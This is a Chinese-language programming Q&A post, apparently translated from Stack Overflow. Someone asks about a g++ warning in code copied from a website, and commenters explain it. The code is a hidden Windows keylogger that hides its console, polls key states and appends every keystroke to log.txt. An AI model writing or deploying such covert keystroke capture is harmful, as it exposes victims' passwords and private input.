【发布时间】:2018-11-28 18:17:22
【问题描述】:
我最近有一个问题得到了解决(正在用 c 编译器编译一个 c++ 程序),但它在从网站复制的代码中带来了一些新错误。使用g++ -o wowie wowie.c命令编译下面的代码后,
#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int _key, char* file);
int main()
{
FreeConsole();
char i;
while (true) {
Sleep(10);
for (i = 8; i <= 255; i++) {
if (GetAsyncKeyState(i) == -32767) {
Save(i, "log.txt");
}
}
}
return 0;
}
int Save(int _key, char* file)
{
cout << _key << endl;
Sleep(10);
FILE* OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if (_key == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (_key == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACK]");
else if (_key == VK_LBUTTON)
fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
else if (_key == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "[RETURN]");
else if (_key == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else
fprintf(OUTPUT_FILE, "%s", &_key);
fclose(OUTPUT_FILE);
return 0;
}
命令提示符说:
wowie.c: In function 'int main()':
wowie.c:12:19: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
Save(i, "log.txt");
^
代码中有错误还是我做错了,我该如何解决?如果有人可以提供帮助,我将不胜感激。谢谢! (使用 GCC 编译器,windows 10 64 位)
【问题讨论】:
-
我在您的代码中看到的唯一 C++ 是
cout。您使用的是 C API 吗?Save似乎需要一个chars(C 风格的字符串)数组作为其第二个参数,而不是 C++std::string。警告告诉您,从 C++ 字符串文字隐式转换为 C 样式字符串已被弃用。 -
我不确定 Windows,但我认为
fprintf在<cstdio>中,您需要包含它
标签: c++ gcc compiler-errors compilation deprecated